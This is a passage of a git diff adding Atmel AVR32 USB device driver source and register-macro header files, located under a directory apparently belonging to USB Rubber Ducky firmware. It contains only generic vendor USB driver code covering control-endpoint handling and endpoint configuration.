*ptr_dest = udd_g_ctrlreq.payload + udd_ctrl_payload_nb_trans; + for (i = 0; i < nb_data; i++) { + *ptr_dest++ = *ptr_src++; + } + udd_ctrl_payload_nb_trans += nb_data; + + if ((USB_DEVICE_EP_CTRL_SIZE != nb_data) + || (udd_g_ctrlreq.req.wLength <= + (udd_ctrl_prev_payload_nb_trans + + udd_ctrl_payload_nb_trans))) + { + // End of reception because it is a short packet + // Before send ZLP, call intermediat calback + // in case of data receiv generate a stall + udd_g_ctrlreq.payload_size = udd_ctrl_payload_nb_trans; + if (NULL != udd_g_ctrlreq.over_under_run) { + if (!udd_g_ctrlreq.over_under_run()) { + // Stall ZLP + udd_ctrl_stall_data(); + // Ack reception of OUT to replace NAK by a STALL + udd_ack_out_received(0); + return; + } + } + // Send IN ZLP to ACK setup request + udd_ack_out_received(0); + udd_ctrl_send_zlp_in(); + return; + } + + if (udd_g_ctrlreq.payload_size == udd_ctrl_payload_nb_trans) { + // Overrun then request a new payload buffer + if (!udd_g_ctrlreq.over_under_run) { + // No callback availabled to request a new payload buffer + udd_ctrl_stall_data(); + // Ack reception of OUT to replace NAK by a STALL + udd_ack_out_received(0); + return; + } + if (!udd_g_ctrlreq.over_under_run()) { + // No new payload buffer delivered + udd_ctrl_stall_data(); + // Ack reception of OUT to replace NAK by a STALL + udd_ack_out_received(0); + return; + } + // New payload buffer available + // Update number of total data received + udd_ctrl_prev_payload_nb_trans += udd_ctrl_payload_nb_trans; + // Reinit reception on payload buffer + udd_ctrl_payload_nb_trans = 0; + } + // Free buffer of control endpoint to authorize next reception + udd_ack_out_received(0); + // To detect a protocol error, enable nak interrupt on data IN phase + udd_ack_nak_in(0); + flags = cpu_irq_save(); + udd_enable_nak_in_interrupt(0); + cpu_irq_restore(flags); +} + + +static void udd_ctrl_underflow(void) +{ + if (Is_udd_out_received(0)) + return; // underflow ignored if OUT data is received + + if (UDD_EPCTRL_DATA_OUT == udd_ep_control_state) { + // Host want to stop OUT transaction + // then stop to wait OUT data phase and wait IN ZLP handshake + udd_ctrl_send_zlp_in(); + } else if (UDD_EPCTRL_HANDSHAKE_WAIT_OUT_ZLP == udd_ep_control_state) { + // A OUT handshake is waiting by device, + // but host want extra IN data then stall extra IN data + udd_enable_stall_handshake(0); + } +} + + +static void udd_ctrl_overflow(void) +{ + if (Is_udd_in_send(0)) + return; // overflow ignored if IN data is received + + // The case of UDD_EPCTRL_DATA_IN is not managed + // because the OUT endpoint is already free and OUT ZLP accepted + + if (UDD_EPCTRL_HANDSHAKE_WAIT_IN_ZLP == udd_ep_control_state) { + // A IN handshake is waiting by device, + // but host want extra OUT data then stall extra OUT data + udd_enable_stall_handshake(0); + } +} + + +static void udd_ctrl_stall_data(void) +{ + // Stall all packets on IN & OUT control endpoint + udd_ep_control_state = UDD_EPCTRL_STALL_REQ; + udd_enable_stall_handshake(0); +} + + +static void udd_ctrl_send_zlp_in(void) +{ + irqflags_t flags; + + udd_ep_control_state = UDD_EPCTRL_HANDSHAKE_WAIT_IN_ZLP; + // Validate and send empty IN packet on control endpoint + flags = cpu_irq_save(); + // Send ZLP on IN endpoint + udd_ack_in_send(0); + udd_enable_in_send_interrupt(0); + // To detect a protocol error, enable nak interrupt on data OUT phase + udd_ack_nak_out(0); + udd_enable_nak_out_interrupt(0); + cpu_irq_restore(flags); +} + + +static void udd_ctrl_send_zlp_out(void) +{ + irqflags_t flags; + + udd_ep_control_state = UDD_EPCTRL_HANDSHAKE_WAIT_OUT_ZLP; + // No action is necessary to accept OUT ZLP + // because the buffer of control endpoint is already free + + // To detect a protocol error, enable nak interrupt on data IN phase + flags = cpu_irq_save(); + udd_ack_nak_in(0); + udd_enable_nak_in_interrupt(0); + cpu_irq_restore(flags); +} + + +static void udd_ctrl_endofrequest(void) +{ + // If a callback is registered then call it + if (udd_g_ctrlreq.callback) { + udd_g_ctrlreq.callback(); + } +} + + +static bool udd_ctrl_interrupt(void) +{ + + if (!Is_udd_endpoint_interrupt(0)) + return false; // No interrupt events on control endpoint + + // By default disable overflow and underflow interrupt + udd_disable_nak_in_interrupt(0); + udd_disable_nak_out_interrupt(0); + + + // Search event on control endpoint + if (Is_udd_setup_received(0)) { + // SETUP packet received + udd_ctrl_setup_received(); + return true; + } + if (Is_udd_in_send(0) && Is_udd_in_send_interrupt_enabled(0)) { + // IN packet sent + udd_ctrl_in_sent(); + return true; + } + if (Is_udd_out_received(0)) { + // OUT packet received + udd_ctrl_out_received(); + return true; + } + if (Is_udd_nak_out(0)) { + // Overflow on OUT packet + udd_ack_nak_out(0); + udd_ctrl_overflow(); + return true; + } + if (Is_udd_nak_in(0)) { + // Underflow on IN packet + udd_ack_nak_in(0); + udd_ctrl_underflow(); + return true; + } + return false; +} + + +//-------------------------------------------------------- +//--- INTERNAL ROUTINES TO MANAGED THE BULK/INTERRUPT/ISOCHRONOUS ENDPOINTS + +#if (0!=USB_DEVICE_MAX_EP) + +static void udd_ep_job_table_reset(void) +{ + uint8_t i; + for (i = 0; i < USB_DEVICE_MAX_EP; i++) { + udd_ep_job[i].busy = false; + udd_ep_job[i].stall_requested = false; + } +} + + +static void udd_ep_job_table_kill(void) +{ + uint8_t i; + // For each endpoint, kill job + for (i = 0; i < USB_DEVICE_MAX_EP; i++) { + udd_ep_finish_job(&udd_ep_job[i], true); + } +} + + +static void udd_ep_abort_job(udd_ep_id_t ep) +{ + ep &= USB_EP_ADDR_MASK; + // Abort job on endpoint + udd_ep_finish_job(&udd_ep_job[ep - 1], true); +} + + +static void udd_ep_finish_job(udd_ep_job_t * ptr_job, bool b_abort) +{ + if (ptr_job->busy == false) + return; // No on-going job + ptr_job->busy = false; + if (NULL == ptr_job->call_trans) + return; // No callback linked to job + ptr_job->call_trans((b_abort) ? UDD_EP_TRANSFER_ABORT : + UDD_EP_TRANSFER_OK, ptr_job->buf_size); +} + + +static bool udd_ep_interrupt(void) +{ + udd_ep_id_t ep; + udd_ep_job_t *ptr_job; + + // For each endpoint different of control endpoint (0) + for (ep = 1; ep <= USB_DEVICE_MAX_EP; ep++) { + // Check DMA event + if (Is_udd_endpoint_dma_interrupt_enabled(ep) + && Is_udd_endpoint_dma_interrupt(ep)) { + uint32_t nb_remaining; + udd_disable_endpoint_dma_interrupt(ep); + // Save number of data no transfered + nb_remaining = (udd_endpoint_dma_get_status(ep) & + AVR32_USBB_UDDMA1_STATUS_CH_BYTE_CNT_MASK) + >> + AVR32_USBB_UDDMA1_STATUS_CH_BYTE_CNT_OFFSET; + // Get job corresponding at endpoint + ptr_job = &udd_ep_job[ep - 1]; + // Update number of data transfered + ptr_job->buf_size -= nb_remaining; + + if (!Is_udd_endpoint_in(ep)) { + // Disable autoswitch bank on OUT + udd_disable_endpoint_bank_autoswitch(ep); + } else { + // Wait end of background transfer on IN endpoint before disabled autoswitch bank + udd_enable_endpoint_interrupt(ep); + udd_enable_bank_interrupt(ep); + } + // Call callback to signal end of transfer + udd_ep_finish_job(&udd_ep_job[ep - 1], false); + return true; + } + // Check empty bank interrupt event + if (Is_udd_endpoint_interrupt_enabled(ep) + && (0 == udd_nb_busy_bank(ep))) { + // End of background transfer on IN endpoint + udd_disable_bank_interrupt(ep); + udd_disable_endpoint_interrupt(ep); + // If no new transfer running then disable autoswitch bank + if (!udd_ep_job[ep - 1].busy) { + udd_disable_endpoint_bank_autoswitch(ep); + } + // If a stall has been requested during backgound transfer then execute it + if (udd_ep_job[ep - 1].stall_requested) { + udd_ep_job[ep - 1].stall_requested = false; + udd_enable_stall_handshake(ep); + udd_reset_data_toggle(ep); + } + return true; + } + } + return false; +} +#endif // (0!=USB_DEVICE_MAX_EP) + +//@} diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/usbb/usbb_device.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/usbb/usbb_device.h new file mode 100644 index 0000000..4e0128a --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/usbb/usbb_device.h @@ -0,0 +1,564 @@ +/** + * \file + * + * \brief USBB Device Driver header file. + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#ifndef _USBB_DEVICE_H_ +#define _USBB_DEVICE_H_ + +#include "compiler.h" +#include "preprocessor.h" + + +//! \ingroup usb_device_group +//! \defgroup udd_group USB Device Driver (UDD) +//! USBB low-level driver for USB device mode +//! +//! @warning Bit-masks are used instead of bit-fields because PB registers +//! require 32-bit write accesses while AVR32-GCC 4.0.2 builds 8-bit +//! accesses even when volatile unsigned int bit-fields are specified. +//! @{ + +//! @name USBB Device IP properties +//! These macros give access to IP properties +//! @{ + //! Get maximal number of endpoints +#define UDD_get_endpoint_max_nbr() (((Rd_bitfield(AVR32_USBB_ufeatures, AVR32_USBB_UFEATURES_EPT_NBR_MAX_MASK) - 1) & ((1 << AVR32_USBB_UFEATURES_EPT_NBR_MAX_SIZE) - 1)) + 1) +//! @} + +//! @name USBB Device speeds management +//! @{ + //! Enable/disable device low-speed mode +#define udd_low_speed_enable() (Set_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_LS_MASK)) +#define udd_low_speed_disable() (Clr_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_LS_MASK)) + //! Test if device low-speed mode is forced +#define Is_udd_low_speed_enable() (Tst_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_LS_MASK)) + +#ifdef AVR32_USBB_UDCON_SPDCONF + //! Enable high speed mode +# define udd_high_speed_enable() (Wr_bitfield(AVR32_USBB.udcon, AVR32_USBB_UDCON_SPDCONF_MASK, 0)) + //! Disable high speed mode +# define udd_high_speed_disable() (Wr_bitfield(AVR32_USBB.udcon, AVR32_USBB_UDCON_SPDCONF_MASK, 3)) + //! Test if controller is in full speed mode +# define Is_udd_full_speed_mode() (Rd_bitfield(AVR32_USBB.usbsta, AVR32_USBB_USBSTA_SPEED_MASK) == AVR32_USBB_USBSTA_SPEED_FULL) +#else +# define udd_high_speed_enable() do { } while (0) +# define udd_high_speed_disable() do { } while (0) +# define Is_udd_full_speed_mode() TRUE +#endif +//! @} + +//! @name USBB Device HS test mode management +//! @{ +#ifdef AVR32_USBB_UDCON_SPDCONF + //! Enable high speed test mode +# define udd_enable_hs_test_mode() (Wr_bitfield(AVR32_USBB.udcon, AVR32_USBB_UDCON_SPDCONF_MASK, 2)) +# define udd_enable_hs_test_mode_j() (Set_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_TSTJ_MASK)) +# define udd_enable_hs_test_mode_k() (Set_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_TSTK_MASK)) +# define udd_enable_hs_test_mode_packet() (Set_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_TSTPCKT_MASK)) +#endif +//! @} + +//! @name USBB Device vbus management +//! @{ +#define udd_enable_vbus_interrupt() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_VBUSTE_MASK)) +#define udd_disable_vbus_interrupt() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_VBUSTE_MASK)) +#define Is_udd_vbus_interrupt_enabled() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_VBUSTE_MASK)) +#define Is_udd_vbus_high() (Tst_bits(AVR32_USBB.usbsta, AVR32_USBB_USBSTA_VBUS_MASK)) +#define Is_udd_vbus_low() (!Is_udd_vbus_high()) +#define udd_ack_vbus_transition() (AVR32_USBB.usbstaclr = AVR32_USBB_USBSTACLR_VBUSTIC_MASK) +#define udd_raise_vbus_transition() (AVR32_USBB.usbstaset = AVR32_USBB_USBSTASET_VBUSTIS_MASK) +#define Is_udd_vbus_transition() (Tst_bits(AVR32_USBB.usbsta, AVR32_USBB_USBSTA_VBUSTI_MASK)) +//! @} + + +//! @name USBB device attach control +//! These macros manage the USBB Device attach. +//! @{ + //! detaches from USB bus +#define udd_detach_device() (Set_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_DETACH_MASK)) + //! attaches to USB bus +#define udd_attach_device() (Clr_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_DETACH_MASK)) + //! test if the device is detached +#define Is_udd_detached() (Tst_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_DETACH_MASK)) +//! @} + + +//! @name USBB device bus events control +//! These macros manage the USBB Device bus events. +//! @{ + +//! Initiates a remote wake-up event +//! @{ +#define udd_initiate_remote_wake_up() (Set_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_RMWKUP_MASK)) +#define Is_udd_pending_remote_wake_up() (Tst_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_RMWKUP_MASK)) +//! @} + +//! Manage upstream resume event (=remote wakeup) +//! The USB driver sends a resume signal called "Upstream Resume" +//! @{ +#define udd_enable_remote_wake_up_interrupt() (AVR32_USBB.udinteset = AVR32_USBB_UDINTESET_UPRSMES_MASK) +#define udd_disable_remote_wake_up_interrupt() (AVR32_USBB.udinteclr = AVR32_USBB_UDINTECLR_UPRSMEC_MASK) +#define Is_udd_remote_wake_up_interrupt_enabled() (Tst_bits(AVR32_USBB.udinte, AVR32_USBB_UDINTE_UPRSME_MASK)) +#define udd_ack_remote_wake_up_start() (AVR32_USBB.udintclr = AVR32_USBB_UDINTCLR_UPRSMC_MASK) +#define udd_raise_remote_wake_up_start() (AVR32_USBB.udintset = AVR32_USBB_UDINTSET_UPRSMS_MASK) +#define Is_udd_remote_wake_up_start() (Tst_bits(AVR32_USBB.udint, AVR32_USBB_UDINT_UPRSM_MASK)) +//! @} + +//! Manage end of resume event (=remote wakeup) +//! The USB controller detects a valid "End of Resume" signal initiated by the host +//! @{ +#define udd_enable_resume_interrupt() (AVR32_USBB.udinteset = AVR32_USBB_UDINTESET_EORSMES_MASK) +#define udd_disable_resume_interrupt() (AVR32_USBB.udinteclr = AVR32_USBB_UDINTECLR_EORSMEC_MASK) +#define Is_udd_resume_interrupt_enabled() (Tst_bits(AVR32_USBB.udinte, AVR32_USBB_UDINTE_EORSME_MASK)) +#define udd_ack_resume() (AVR32_USBB.udintclr = AVR32_USBB_UDINTCLR_EORSMC_MASK) +#define udd_raise_resume() (AVR32_USBB.udintset = AVR32_USBB_UDINTSET_EORSMS_MASK) +#define Is_udd_resume() (Tst_bits(AVR32_USBB.udint, AVR32_USBB_UDINT_EORSM_MASK)) +//! @} + +//! Manage wake-up event (=usb line activity) +//! The USB controller is reactivated by a filtered non-idle signal from the lines +//! @{ +#define udd_enable_wake_up_interrupt() (AVR32_USBB.udinteset = AVR32_USBB_UDINTESET_WAKEUPES_MASK) +#define udd_disable_wake_up_interrupt() (AVR32_USBB.udinteclr = AVR32_USBB_UDINTECLR_WAKEUPEC_MASK) +#define Is_udd_wake_up_interrupt_enabled() (Tst_bits(AVR32_USBB.udinte, AVR32_USBB_UDINTE_WAKEUPE_MASK)) +#define udd_ack_wake_up() (AVR32_USBB.udintclr = AVR32_USBB_UDINTCLR_WAKEUPC_MASK) +#define udd_raise_wake_up() (AVR32_USBB.udintset = AVR32_USBB_UDINTSET_WAKEUPS_MASK) +#define Is_udd_wake_up() (Tst_bits(AVR32_USBB.udint, AVR32_USBB_UDINT_WAKEUP_MASK)) +//! @} + +//! Manage reset event +//! Set when a USB "End of Reset" has been detected +//! @{ +#define udd_enable_reset_interrupt() (AVR32_USBB.udinteset = AVR32_USBB_UDINTESET_EORSTES_MASK) +#define udd_disable_reset_interrupt() (AVR32_USBB.udinteclr = AVR32_USBB_UDINTECLR_EORSTEC_MASK) +#define Is_udd_reset_interrupt_enabled() (Tst_bits(AVR32_USBB.udinte, AVR32_USBB_UDINTE_EORSTE_MASK)) +#define udd_ack_reset() (AVR32_USBB.udintclr = AVR32_USBB_UDINTCLR_EORSTC_MASK) +#define udd_raise_reset() (AVR32_USBB.udintset = AVR32_USBB_UDINTSET_EORSTS_MASK) +#define Is_udd_reset() (Tst_bits(AVR32_USBB.udint, AVR32_USBB_UDINT_EORST_MASK)) +//! @} + +//! Manage sart of frame event +//! @{ +#define udd_enable_sof_interrupt() (AVR32_USBB.udinteset = AVR32_USBB_UDINTESET_SOFES_MASK) +#define udd_disable_sof_interrupt() (AVR32_USBB.udinteclr = AVR32_USBB_UDINTECLR_SOFEC_MASK) +#define Is_udd_sof_interrupt_enabled() (Tst_bits(AVR32_USBB.udinte, AVR32_USBB_UDINTE_SOFE_MASK)) +#define udd_ack_sof() (AVR32_USBB.udintclr = AVR32_USBB_UDINTCLR_SOFC_MASK) +#define udd_raise_sof() (AVR32_USBB.udintset = AVR32_USBB_UDINTSET_SOFS_MASK) +#define Is_udd_sof() (Tst_bits(AVR32_USBB.udint, AVR32_USBB_UDINT_SOF_MASK)) +#define udd_frame_number() (Rd_bitfield(AVR32_USBB.udfnum, AVR32_USBB_UDFNUM_FNUM_MASK)) +#define Is_udd_frame_number_crc_error() (Tst_bits(AVR32_USBB.udfnum, AVR32_USBB_UDFNUM_FNCERR_MASK)) +//! @} + +//! Manage suspend event +//! @{ +#define udd_enable_suspend_interrupt() (AVR32_USBB.udinteset = AVR32_USBB_UDINTESET_SUSPES_MASK) +#define udd_disable_suspend_interrupt() (AVR32_USBB.udinteclr = AVR32_USBB_UDINTECLR_SUSPEC_MASK) +#define Is_udd_suspend_interrupt_enabled() (Tst_bits(AVR32_USBB.udinte, AVR32_USBB_UDINTE_SUSPE_MASK)) +#define udd_ack_suspend() (AVR32_USBB.udintclr = AVR32_USBB_UDINTCLR_SUSPC_MASK) +#define udd_raise_suspend() (AVR32_USBB.udintset = AVR32_USBB_UDINTSET_SUSPS_MASK) +#define Is_udd_suspend() (Tst_bits(AVR32_USBB.udint, AVR32_USBB_UDINT_SUSP_MASK)) +//! @} + +//! @} + +//! @name USBB device address control +//! These macros manage the USBB Device address. +//! @{ + //! enables USB device address +#define udd_enable_address() (Set_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_ADDEN_MASK)) + //! disables USB device address +#define udd_disable_address() (Clr_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_ADDEN_MASK)) +#define Is_udd_address_enabled() (Tst_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_ADDEN_MASK)) + //! configures the USB device address +#define udd_configure_address(addr) (Wr_bitfield(AVR32_USBB.udcon, AVR32_USBB_UDCON_UADD_MASK, addr)) + //! gets the currently configured USB device address +#define udd_get_configured_address() (Rd_bitfield(AVR32_USBB.udcon, AVR32_USBB_UDCON_UADD_MASK)) +//! @} + + +//! @name USBB Device endpoint drivers +//! These macros manage the common features of the endpoints. +//! @{ + +//! Generic macro for USBB registers that can be arrayed +//! @{ +#define USBB_ARRAY(reg,index) ((&AVR32_USBB.reg)[(index)]) +//! @} + +//! @name USBB Device endpoint configguration +//! @{ + //! enables the selected endpoint +#define udd_enable_endpoint(ep) (Set_bits(AVR32_USBB.uerst, AVR32_USBB_UERST_EPEN0_MASK << (ep))) + //! disables the selected endpoint +#define udd_disable_endpoint(ep) (Clr_bits(AVR32_USBB.uerst, AVR32_USBB_UERST_EPEN0_MASK << (ep))) + //! tests if the selected endpoint is enabled +#define Is_udd_endpoint_enabled(ep) (Tst_bits(AVR32_USBB.uerst, AVR32_USBB_UERST_EPEN0_MASK << (ep))) + //! resets the selected endpoint +#define udd_reset_endpoint(ep) (Set_bits(AVR32_USBB.uerst, AVR32_USBB_UERST_EPRST0_MASK << (ep)),\ + Clr_bits(AVR32_USBB.uerst, AVR32_USBB_UERST_EPRST0_MASK << (ep))) + //! tests if the selected endpoint is being reset +#define Is_udd_resetting_endpoint(ep) (Tst_bits(AVR32_USBB.uerst, AVR32_USBB_UERST_EPRST0_MASK << (ep))) + + //! configures the selected endpoint type +#define udd_configure_endpoint_type(ep, type) (Wr_bitfield(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_EPTYPE_MASK, type)) + //! gets the configured selected endpoint type +#define udd_get_endpoint_type(ep) (Rd_bitfield(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_EPTYPE_MASK)) + //! enables the bank autoswitch for the selected endpoint +#define udd_enable_endpoint_bank_autoswitch(ep) (Set_bits(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_AUTOSW_MASK)) + //! disables the bank autoswitch for the selected endpoint +#define udd_disable_endpoint_bank_autoswitch(ep) (Clr_bits(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_AUTOSW_MASK)) +#define Is_udd_endpoint_bank_autoswitch_enabled(ep) (Tst_bits(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_AUTOSW_MASK)) + //! configures the selected endpoint direction +#define udd_configure_endpoint_direction(ep, dir) (Wr_bitfield(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_EPDIR_MASK, dir)) + //! gets the configured selected endpoint direction +#define udd_get_endpoint_direction(ep) (Rd_bitfield(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_EPDIR_MASK)) +#define Is_udd_endpoint_in(ep) (Tst_bits(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_EPDIR_MASK)) + //! Bounds given integer size to allowed range and rounds it up to the nearest + //! available greater size, then applies register format of USBB controller + //! for endpoint size bit-field. +#define udd_format_endpoint_size(size) (32 - clz(((U32)min(max(size, 8), 1024) << 1) - 1) - 1 - 3) + //! configures the selected endpoint size +#define udd_configure_endpoint_size(ep, size) (Wr_bitfield(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_EPSIZE_MASK, udd_format_endpoint_size(size))) + //! gets the configured selected endpoint size +#define udd_get_endpoint_size(ep) (8 << Rd_bitfield(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_EPSIZE_MASK)) + //! configures the selected endpoint number of banks +#define udd_configure_endpoint_bank(ep, bank) (Wr_bitfield(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_EPBK_MASK, bank)) + //! gets the configured selected endpoint number of banks +#define udd_get_endpoint_bank(ep) (Rd_bitfield(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_EPBK_MASK)) + //! allocates the configuration selected endpoint in DPRAM memory +#define udd_allocate_memory(ep) (Set_bits(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_ALLOC_MASK)) + //! un-allocates the configuration selected endpoint in DPRAM memory +#define udd_unallocate_memory(ep) (Clr_bits(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_ALLOC_MASK)) +#define Is_udd_memory_allocated(ep) (Tst_bits(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_ALLOC_MASK)) + + //! configures selected endpoint in one step +#define udd_configure_endpoint(ep, type, dir, size, bank) \ +(\ + Wr_bits(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_EPTYPE_MASK |\ + AVR32_USBB_UECFG0_EPDIR_MASK |\ + AVR32_USBB_UECFG0_EPSIZE_MASK |\ + AVR32_USBB_UECFG0_EPBK_MASK, \ + (((U32)(type) << AVR32_USBB_UECFG0_EPTYPE_OFFSET) & AVR32_USBB_UECFG0_EPTYPE_MASK) |\ + (((U32)(dir ) << AVR32_USBB_UECFG0_EPDIR_OFFSET ) & AVR32_USBB_UECFG0_EPDIR_MASK ) |\ + ( (U32)udd_format_endpoint_size(size) << AVR32_USBB_UECFG0_EPSIZE_OFFSET ) |\ + (((U32)(bank) << AVR32_USBB_UECFG0_EPBK_OFFSET ) & AVR32_USBB_UECFG0_EPBK_MASK ))\ +) + //! tests if current endpoint is configured +#define Is_udd_endpoint_configured(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_CFGOK_MASK)) + //! returns the control direction +#define udd_control_direction() (Rd_bitfield(USBB_ARRAY(uesta0(EP_CONTROL), AVR32_USBB_UESTA0_CTRLDIR_MASK)) + + //! resets the data toggle sequence +#define udd_reset_data_toggle(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_RSTDTS_MASK) + //! tests if the data toggle sequence is being reset +#define Is_udd_data_toggle_reset(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_RSTDT_MASK)) + //! returns data toggle +#define udd_data_toggle(ep) (Rd_bitfield(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_DTSEQ_MASK)) +//! @} + + +//! @name USBB Device control endpoint +//! These macros contorl the endpoints. +//! @{ + +//! @name USBB Device control endpoint interrupts +//! These macros control the endpoints interrupts. +//! @{ + //! enables the selected endpoint interrupt +#define udd_enable_endpoint_interrupt(ep) (AVR32_USBB.udinteset = AVR32_USBB_UDINTESET_EP0INTES_MASK << (ep)) + //! disables the selected endpoint interrupt +#define udd_disable_endpoint_interrupt(ep) (AVR32_USBB.udinteclr = AVR32_USBB_UDINTECLR_EP0INTEC_MASK << (ep)) + //! tests if the selected endpoint interrupt is enabled +#define Is_udd_endpoint_interrupt_enabled(ep) (Tst_bits(AVR32_USBB.udinte, AVR32_USBB_UDINTE_EP0INTE_MASK << (ep))) + //! tests if an interrupt is triggered by the selected endpoint +#define Is_udd_endpoint_interrupt(ep) (Tst_bits(AVR32_USBB.udint, AVR32_USBB_UDINT_EP0INT_MASK << (ep))) + //! returns the lowest endpoint number generating an endpoint interrupt or MAX_PEP_NB if none +#define udd_get_interrupt_endpoint_number() (ctz(((AVR32_USBB.udint >> AVR32_USBB_UDINT_EP0INT_OFFSET) &\ + (AVR32_USBB.udinte >> AVR32_USBB_UDINTE_EP0INTE_OFFSET)) |\ + (1 << MAX_PEP_NB))) +//! @} + +//! @name USBB Device control endpoint errors +//! These macros control the endpoint errors. +//! @{ + //! enables the STALL handshake +#define udd_enable_stall_handshake(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_STALLRQS_MASK) + //! disables the STALL handshake +#define udd_disable_stall_handshake(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_STALLRQC_MASK) + //! tests if STALL handshake request is running +#define Is_udd_endpoint_stall_requested(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_STALLRQ_MASK)) + //! tests if STALL sent +#define Is_udd_stall(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_STALLEDI_MASK)) + //! acks STALL sent +#define udd_ack_stall(ep) (USBB_ARRAY(uesta0clr,ep) = AVR32_USBB_UESTA0CLR_STALLEDIC_MASK) + //! raises STALL sent +#define udd_raise_stall(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_STALLEDIS_MASK) + //! enables STALL sent interrupt +#define udd_enable_stall_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_STALLEDES_MASK) + //! disables STALL sent interrupt +#define udd_disable_stall_interrupt(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_STALLEDEC_MASK) + //! tests if STALL sent interrupt is enabled +#define Is_udd_stall_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_STALLEDE_MASK)) + + //! tests if NAK OUT received +#define Is_udd_nak_out(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_NAKOUTI_MASK)) + //! acks NAK OUT received +#define udd_ack_nak_out(ep) (USBB_ARRAY(uesta0clr,ep) = AVR32_USBB_UESTA0CLR_NAKOUTIC_MASK) + //! raises NAK OUT received +#define udd_raise_nak_out(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_NAKOUTIS_MASK) + //! enables NAK OUT interrupt +#define udd_enable_nak_out_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_NAKOUTES_MASK) + //! disables NAK OUT interrupt +#define udd_disable_nak_out_interrupt(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_NAKOUTEC_MASK) + //! tests if NAK OUT interrupt is enabled +#define Is_udd_nak_out_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_NAKOUTE_MASK)) + + //! tests if 